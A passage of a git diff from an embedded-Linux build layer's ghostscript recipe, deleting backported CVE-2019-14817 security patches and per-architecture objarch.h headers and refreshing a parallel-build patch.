diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0001.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0001.patch
deleted file mode 100644
index c76e21caa6..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0001.patch
+++ /dev/null
@@ -1,270 +0,0 @@
-From 0bafbd9c1273fab0dc79fd20db0ffc4443683f96 Mon Sep 17 00:00:00 2001
-From: Ken Sharp <ken.sharp@artifex.com>
-Date: Mon, 29 Apr 2019 11:14:06 +0100
-Subject: [PATCH 1/2] PDF interpreter - Decode ToUnicode entries of the form
- /Identity-H/V
-
-Bug #701003 "Text searchability broken due to omission of /ToUnicode /Identity-H"
-
-The PDF references from 1.2 too 2.0 all state that the value associated
-with a ToUnicode key in a FontDescriptor must be a stream object. However
-this file (and one case seen previously, bug 687351) have FontDescriptor
-dictionaries where the value associated with a /ToUnicode key is a
-name object, in both cases /Identity-H.
-
-Although this is clearly not legal, Acrobat not only tolerates it, it
-actually uses it for search/copy/paste (see bug 701003 for details).
-Without the key Acrobat is unable to successfully search the output file.
-
-We can't simply preserve the name object as a ToUnicode value; when
-handling ToUnicode we actually decode the CMap and build a
-GlyphNames2Unicode map (an internal representation of the G2U data
-produced by the Microsoft PostScript printer driver). When writing the
-output file we use that information to get a Unicode value for each
-character we write, and build a new ToUnicode CMap using that.
-
-This commit tackles the problem by pre-scanning for a name object and
-then checking to see if its Identity-H or Identity-V (although we have
-not seen an Identity-V, there seems no reason why it wouldn't be
-equally valid). If we find either of these then we construct a
-GlyphNames2Unicode table for all possible values (0 - 65535) and store
-that with the font as normal. When we write the output file we only
-write the required entries for the subset font, so we write a now
-completely legal ToUnicode CMap, and Acrobat is equally happy with that
-as the original name.
-
-If the ToUnicode value isn't a name object, or isn't one of the
-identities then we proceed as before. This means we will print a
-warning for non conforming ToUnicode entries and ignore them.
-
-CVE: CVE-2019-14817
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
----
- Resource/Init/pdf_font.ps | 200 ++++++++++++++++++++++++--------------
- 1 file changed, 129 insertions(+), 71 deletions(-)
-
-diff --git a/Resource/Init/pdf_font.ps b/Resource/Init/pdf_font.ps
-index 9fb85f6..2df3303 100644
---- a/Resource/Init/pdf_font.ps
-+++ b/Resource/Init/pdf_font.ps
-@@ -621,86 +621,144 @@ currentdict end readonly def
- PDFDEBUG {
- (.processToUnicode beg) =
- } if
-- 2 index /ToUnicode knownoget {
-- dup type /dicttype eq { dup /File known not } { //true } ifelse {
-- % We undefine wrong /Length and define /File in stream dictionaries.
-- % Bug687351.pdf defines /ToUnicode /Identity-H, what is incorrect.
-- ( **** Warning: Ignoring bad ToUnicode CMap.\n) pdfformatwarning
-- pop
-+
-+ 2 index /ToUnicode knownoget
-+ {
-+ dup type /nametype eq {
-+ % This is contrary to the specification but it seems that Acrobat at least will accept
-+ % a ToUnicode with a value of Identity-H *and* will use that for search, copy/paste.
-+ % We can't pass through a name, so the best we can do is build a GlyphNames2Unicode
-+ % map matching that which would have been generated by a full 16-bit Identity CMap
-+ %
-+ % See bug numbers 701003 and 687351
-+ %
-+ dup /Identity-H eq 1 index /Identity-V eq or{
-+ pop
-+ 1 index /FontInfo .knownget not {
-+ currentglobal 2 index dup gcheck setglobal
-+ /FontInfo 5 dict dup 5 1 roll .forceput
-+ setglobal
-+ } if
-+ dup /GlyphNames2Unicode .knownget not {
-+ //true % No existing G2U, make one
-+ } {
-+ dup wcheck {
-+ //false % Existing, writeable G2U, don't make new one
-+ } {
-+ pop //true % Existing read only G2U, make new one
-+ } ifelse
-+ } ifelse
-+ {
-+ currentglobal exch dup gcheck setglobal
-+ dup /GlyphNames2Unicode 100 dict dup 4 1 roll .forceput
-+ 3 2 roll setglobal
-+ } if % font-res font-dict encoding|null font-info g2u
-+
-+ 0 1 65535{
-+ % g2u index
-+ dup dup 256 mod exch 256 idiv % g2u index lo-byte hi-byte
-+ 2 string dup 0 4 -1 roll % g2u index lo-byte () () 0 hi-byte
-+ put % g2u index lo-byte (x)
-+ dup 1 % g2u index lo-byte (x) (x) 1
-+ 4 -1 roll put % g2u index (x) (x) 1 lo-byte -> dict index (xx)
-+ 2 index % g2u index (xx) dict
-+ 3 1 roll % g2u g2u index (xx)
-+ put % g2u
-+ } for
-+ pop % font-res font-dict encoding|null font-info
-+ pop % font-res font-dict encoding|null
-+ //false % We built a GlyphNames2Unicode table, don't need to process further
-+ }{
-+ //true % name is not Identity-V or H, fail by falling through
-+ }ifelse
- } {
-- /PDFScanRules .getuserparam dup //null eq {
-- pop //PDFScanRules_null
-- } {
-- 1 dict dup /PDFScanRules 4 -1 roll put
-- } ifelse
-- //PDFScanRules_true setuserparams
-- PDFfile fileposition
-- 3 -1 roll
-- count 1 sub
-- countdictstack
-- { //false resolvestream
-- % Following Acrobat we ignore everything outside
-- % begincodespacerange .. endcmap.
-- dup 0 (begincodespacerange) /SubFileDecode filter flushfile
-- /CIDInit /ProcSet findresource begin
-- //ToUnicodeCMapReader begin
-- 12 dict begin
-- /CMapType 2 def
-- mark exch % emulate 'begincodespacerange'
-- 0 (endcmap) /SubFileDecode filter cvx /begincmap cvx exch 2 .execn
-- endcmap
-- userdict /.lastToUnicode currentdict put
-- end end end
-- }
-+ //true
-+ } ifelse % not a name, try as a dictionary (as specified)
-
-- PDFSTOPONERROR {
-- { exec } 0 get
-- //false
-- 5 -2 roll
-- 5
-+ % If the ToUnicode isn't a name, or the name isn't Identity-V or -H then follow the specification
-+ % If its not a dictionary type throw an error, otherwise decode it and build a GlyphNames2Unicode
-+ %
-+ {
-+ dup type /dicttype eq { dup /File known not } { //true } ifelse {
-+ % We undefine wrong /Length and define /File in stream dictionaries.
-+ % Bug687351.pdf defines /ToUnicode /Identity-H, what is incorrect.
-+ ( **** Warning: Ignoring bad ToUnicode CMap.\n) pdfformatwarning
-+ pop
- } {
-- { stopped } 0 get
-- 4 2 roll
-- 4
-- } ifelse
-- array astore cvx exec
-+ /PDFScanRules .getuserparam dup //null eq {
-+ pop //PDFScanRules_null
-+ } {
-+ 1 dict dup /PDFScanRules 4 -1 roll put
-+ } ifelse
-+ //PDFScanRules_true setuserparams
-+ PDFfile fileposition
-+ 3 -1 roll
-+ count 1 sub
-+ countdictstack
-+ { //false resolvestream
-+ % Following Acrobat we ignore everything outside
-+ % begincodespacerange .. endcmap.
-+ dup 0 (begincodespacerange) /SubFileDecode filter flushfile
-+ /CIDInit /ProcSet findresource begin
-+ //ToUnicodeCMapReader begin
-+ 12 dict begin
-+ /CMapType 2 def
-+ mark exch % emulate 'begincodespacerange'
-+ 0 (endcmap) /SubFileDecode filter cvx /begincmap cvx exch 2 .execn
-+ endcmap
-+ userdict /.lastToUnicode currentdict put
-+ end end end
-+ }
-
-- countdictstack exch sub 0 .max { end } repeat
-- count exch sub 2 sub 0 .max { exch pop } repeat
-- 3 1 roll % Stach the stop flag.
-- PDFfile exch setfileposition
-- setuserparams
-- {
-- ( **** Warning: Failed to read ToUnicode CMap.\n) pdfformatwarning
-- } {
-- 1 index /FontInfo .knownget not {
-- currentglobal 2 index dup gcheck setglobal
-- /FontInfo 5 dict dup 5 1 roll .forceput
-- setglobal
-- } if
-- dup /GlyphNames2Unicode .knownget not {
-- //true % No existing G2U, make one
-+ PDFSTOPONERROR {
-+ { exec } 0 get
-+ //false
-+ 5 -2 roll
-+ 5
-+ } {
-+ { stopped } 0 get
-+ 4 2 roll
-+ 4
-+ } ifelse
-+ array astore cvx exec
-+
-+ countdictstack exch sub 0 .max { end } repeat
-+ count exch sub 2 sub 0 .max { exch pop } repeat
-+ 3 1 roll % Stach the stop flag.
-+ PDFfile exch setfileposition
-+ setuserparams
-+ {
-+ ( **** Warning: Failed to read ToUnicode CMap.\n) pdfformatwarning
- } {
-- dup wcheck {
-- //false % Existing, writeable G2U, don't make new one
-+ 1 index /FontInfo .knownget not {
-+ currentglobal 2 index dup gcheck setglobal
-+ /FontInfo 5 dict dup 5 1 roll .forceput
-+ setglobal
-+ } if
-+ dup /GlyphNames2Unicode .knownget not {
-+ //true % No existing G2U, make one
- } {
-- pop //true % Existing read only G2U, make new one
-+ dup wcheck {
-+ //false % Existing, writeable G2U, don't make new one
-+ } {
-+ pop //true % Existing read only G2U, make new one
-+ } ifelse
- } ifelse
-+ {
-+ currentglobal exch dup gcheck setglobal
-+ dup /GlyphNames2Unicode 100 dict dup 4 1 roll .forceput
-+ 3 2 roll setglobal
-+ } if % font-res font-dict encoding|null font-info g2u
-+ exch pop exch % font-res font-dict g2u encoding|null
-+ userdict /.lastToUnicode get % font-res font-dict g2u Encoding|null CMap
-+ .convert_ToUnicode-into-g2u % font-res font-dict
-+ //null % font-res font-dict //null
- } ifelse
-- {
-- currentglobal exch dup gcheck setglobal
-- dup /GlyphNames2Unicode 100 dict dup 4 1 roll .forceput
-- 3 2 roll setglobal
-- } if % font-res font-dict encoding|null font-info g2u
-- exch pop exch % font-res font-dict g2u encoding|null
-- userdict /.lastToUnicode get % font-res font-dict g2u Encoding|null CMap
-- .convert_ToUnicode-into-g2u % font-res font-dict
-- //null % font-res font-dict //null
- } ifelse
-- } ifelse
-- } if
-- PDFDEBUG {
-- (.processToUnicode end) =
-+ } if
-+ PDFDEBUG {
-+ (.processToUnicode end) =
-+ } if
- } if
- } if
- } stopped
---
-2.20.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0002.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0002.patch
deleted file mode 100644
index 6348fff2d1..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0002.patch
+++ /dev/null
@@ -1,236 +0,0 @@
-From cd1b1cacadac2479e291efe611979bdc1b3bdb19 Mon Sep 17 00:00:00 2001
-From: Ken Sharp <ken.sharp@artifex.com>
-Date: Wed, 21 Aug 2019 10:10:51 +0100
-Subject: [PATCH 2/2] PDF interpreter - review .forceput security
-
-Bug #701450 "Safer Mode Bypass by .forceput Exposure in .pdfexectoken"
-
-By abusing the error handler it was possible to get the PDFDEBUG portion
-of .pdfexectoken, which uses .forceput left readable.
-
-Add an executeonly appropriately to make sure that clause isn't readable
-no mstter what.
-
-Review all the uses of .forceput searching for similar cases, add
-executeonly as required to secure those. All cases in the PostScript
-support files seem to be covered already.
-
-CVE: CVE-2019-14817
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
----
- Resource/Init/pdf_base.ps | 2 +-
- Resource/Init/pdf_draw.ps | 14 +++++++-------
- Resource/Init/pdf_font.ps | 29 ++++++++++++++++-------------
- Resource/Init/pdf_main.ps | 6 +++---
- Resource/Init/pdf_ops.ps | 11 ++++++-----
- 5 files changed, 33 insertions(+), 29 deletions(-)
-
-diff --git a/Resource/Init/pdf_base.ps b/Resource/Init/pdf_base.ps
-index 1a218f4..cffde5c 100644
---- a/Resource/Init/pdf_base.ps
-+++ b/Resource/Init/pdf_base.ps
-@@ -157,7 +157,7 @@ currentdict /num-chars-dict .undef
- {
- dup ==only () = flush
- } ifelse % PDFSTEP
-- } if % PDFDEBUG
-+ } executeonly if % PDFDEBUG
- 2 copy .knownget {
- exch pop exch pop exch pop exec
- } {
-diff --git a/Resource/Init/pdf_draw.ps b/Resource/Init/pdf_draw.ps
-index e18a7c2..0a3924c 100644
---- a/Resource/Init/pdf_draw.ps
-+++ b/Resource/Init/pdf_draw.ps
-@@ -501,8 +501,8 @@ end
- ( Output may be incorrect.\n) pdfformaterror
- //pdfdict /.gs_warning_issued //true .forceput
- PDFSTOPONERROR { /gs /undefined signalerror } if
-- } if
-- }
-+ } executeonly if
-+ } executeonly
- ifelse
- } bind executeonly def
-
-@@ -1142,7 +1142,7 @@ currentdict end readonly def
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- }
-+ } executeonly
- {
- currentglobal //pdfdict gcheck .setglobal
- //pdfdict /.Qqwarning_issued //true .forceput
-@@ -1150,8 +1150,8 @@ currentdict end readonly def
- pdfformaterror
- } executeonly ifelse
- end
-- } ifelse
-- } loop
-+ } executeonly ifelse
-+ } executeonly loop
- {
- (\n **** Error: File has unbalanced q/Q operators \(too many q's\)\n Output may be incorrect.\n)
- //pdfdict /.Qqwarning_issued .knownget
-@@ -1165,14 +1165,14 @@ currentdict end readonly def
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- }
-+ } executeonly
- {
- currentglobal //pdfdict gcheck .setglobal
- //pdfdict /.Qqwarning_issued //true .forceput
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- } if
-+ } executeonly if
- pop
-
- % restore pdfemptycount
-diff --git a/Resource/Init/pdf_font.ps b/Resource/Init/pdf_font.ps
-index 2df3303..6a6a5fe 100644
---- a/Resource/Init/pdf_font.ps
-+++ b/Resource/Init/pdf_font.ps
-@@ -638,7 +638,7 @@ currentdict end readonly def
- currentglobal 2 index dup gcheck setglobal
- /FontInfo 5 dict dup 5 1 roll .forceput
- setglobal
-- } if
-+ } executeonly if
- dup /GlyphNames2Unicode .knownget not {
- //true % No existing G2U, make one
- } {
-@@ -668,10 +668,12 @@ currentdict end readonly def
- pop % font-res font-dict encoding|null font-info
- pop % font-res font-dict encoding|null
- //false % We built a GlyphNames2Unicode table, don't need to process further
-- }{
-+ } executeonly
-+ {
- //true % name is not Identity-V or H, fail by falling through
- }ifelse
-- } {
-+ } executeonly
-+ {
- //true
- } ifelse % not a name, try as a dictionary (as specified)
-
-@@ -759,9 +761,9 @@ currentdict end readonly def
- PDFDEBUG {
- (.processToUnicode end) =
- } if
-- } if
-- } if
-- } stopped
-+ } executeonly if
-+ } executeonly if
-+ } executeonly stopped
- {
- .dstackdepth 1 countdictstack 1 sub
- {pop end} for
-@@ -1291,19 +1293,20 @@ currentdict /eexec_pdf_param_dict .undef
- //pdfdict /.Qqwarning_issued //true .forceput
- } executeonly if
- Q
-- } repeat
-+ } executeonly repeat
- Q
-- } PDFfile fileposition 2 .execn % Keep pdfcount valid.
-+ } executeonly PDFfile fileposition 2 .execn % Keep pdfcount valid.
- PDFfile exch setfileposition
-- } ifelse
-- } {
-+ } executeonly ifelse
-+ } executeonly
-+ {
- % PDF Type 3 fonts don't use .notdef
- % d1 implementation adjusts the width as needed
- 0 0 0 0 0 0
- pdfopdict /d1 get exec
- } ifelse
- end end
-- } bdef
-+ } executeonly bdef
- dup currentdict Encoding .processToUnicode
- currentdict end .completefont exch pop
- } bind executeonly odef
-@@ -2103,9 +2106,9 @@ currentdict /CMap_read_dict undef
- (Will continue, but content may be missing.) = flush
- } ifelse
- } if
-- } if
-+ } executeonly if
- /findresource cvx /undefined signalerror
-- } loop
-+ } executeonly loop
- } bind executeonly odef
-
- /buildCIDType0 { % <CIDFontType0-font-resource> buildCIDType0 <font>
-diff --git a/Resource/Init/pdf_main.ps b/Resource/Init/pdf_main.ps
-index 5305ea6..a59e63c 100644
---- a/Resource/Init/pdf_main.ps
-+++ b/Resource/Init/pdf_main.ps
-@@ -2749,15 +2749,15 @@ currentdict /PDF2PS_matrix_key undef
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- }
-+ } executeonly
- {
- currentglobal //pdfdict gcheck .setglobal
- //pdfdict /.Qqwarning_issued //true .forceput
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- } if
-- } if
-+ } executeonly if
-+ } executeonly if
- pop
- count PDFexecstackcount sub { pop } repeat
- (after exec) VMDEBUG
-diff --git a/Resource/Init/pdf_ops.ps b/Resource/Init/pdf_ops.ps
-index 285e582..6c1f100 100644
---- a/Resource/Init/pdf_ops.ps
-+++ b/Resource/Init/pdf_ops.ps
-@@ -186,14 +186,14 @@ currentdict /gput_always_allow .undef
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- }
-+ } executeonly
- {
- currentglobal //pdfdict gcheck .setglobal
- //pdfdict /.Qqwarning_issued //true .forceput
- .setglobal
- pdfformaterror
- } executeonly ifelse
-- } if
-+ } executeonly if
- } bind executeonly odef
-
- % Save PDF gstate
-@@ -440,11 +440,12 @@ currentdict /gput_always_allow .undef
- dup type /booleantype eq {
- .currentSMask type /dicttype eq {
- .currentSMask /Processed 2 index .forceput
-+ } executeonly
-+ {
-+ .setSMask
-+ }ifelse
- } executeonly
- {
-- .setSMask
-- }ifelse
-- }{
- .setSMask
- }ifelse
-
---
-2.20.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h
deleted file mode 100644
index e8772cd958..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h
deleted file mode 100644
index 359097f356..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch
deleted file mode 100644
index 7b70bb8e2c..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From c076d0fc970f190f723018258790c79b59daba2e Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 21:20:27 +0800
-Subject: [PATCH] not generate objarch.h at compile time
-
-Import patch from windriver linux for cross compilation, and split
-patches into oe way under different directories such as i586, powerpc etc
-according to Richard's opinion.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-
-Rebase to 9.27
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- base/lib.mak | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/base/lib.mak b/base/lib.mak
-index 3ed088a..5af2b43 100644
---- a/base/lib.mak
-+++ b/base/lib.mak
-@@ -87,8 +87,8 @@ arch_h=$(GLGEN)arch.h
- stdpre_h=$(GLSRC)stdpre.h
- stdint__h=$(GLSRC)stdint_.h
-
--$(GLGEN)arch.h : $(GENARCH_XE)
-- $(EXP)$(GENARCH_XE) $(GLGEN)arch.h $(TARGET_ARCH_FILE)
-+##$(GLGEN)arch.h : $(GENARCH_XE)
-+## $(EXP)$(GENARCH_XE) $(GLGEN)arch.h $(TARGET_ARCH_FILE)
-
- # Platform interfaces
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
index ffa269e3b2..5b57da2a97 100644
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
+++ b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
@@ -1,7 +1,7 @@
-From 84bb692d6b047c09266de154f404af9817fa04aa Mon Sep 17 00:00:00 2001
+From 04a86a613e0f9bfbbad99874f72217f75e8c53a3 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 29 Mar 2018 15:59:05 +0800
-Subject: [PATCH 01/10] contrib.mak: fix for parallel build
+Subject: [PATCH] contrib.mak: fix for parallel build
Upstream-Status: Pending
@@ -9,23 +9,16 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Rebase to 9.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- contrib/contrib.mak | 2 ++
- 1 file changed, 2 insertions(+)
+ contrib/contrib.mak | 1 +
+ 1 file changed, 1 insertion(+)
diff --git a/contrib/contrib.mak b/contrib/contrib.mak
-index f5a2fa4..4999752 100644
+index 2edee7a..c9100e8 100644
--- a/contrib/contrib.mak
+++ b/contrib/contrib.mak
-@@ -1067,6 +1067,7 @@ $(DEVOBJ)dviprlib.$(OBJ) : $(JAPSRC)dviprlib.c $(JAPSRC)dviprlib.h \
- $(DEVCC) $(O_)$@ $(C_) $(JAPSRC)dviprlib.c
-
- extra-dmprt-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- $(INSTALL_DATA) $(JAPSRC)dmp_init.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)dmp_site.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)escp_24.src $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
-@@ -1235,6 +1236,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \
+@@ -1241,6 +1241,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \
### ----------------- Additional .upp files ---------------- ###
extra-upp-install: install-libdata
@@ -33,6 +26,3 @@ index f5a2fa4..4999752 100644
for f in $(CONTRIBSRC)uniprint$(D)*.upp; do \
$(INSTALL_DATA) $$f $(DESTDIR)$(gsdatadir)$(D)lib || exit 1; \
done
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h
deleted file mode 100644
index 5817b7a6d7..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/i686 b/meta/recipes-extended/ghostscript/ghostscript/i686
deleted file mode 120000
index 87aaca5903..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/i686
+++ /dev/null
@@ -1 +0,0 @@
-i586 \ No newline at end of file
diff --git a/meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h
deleted file mode 100644
index 63232fdfa6..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
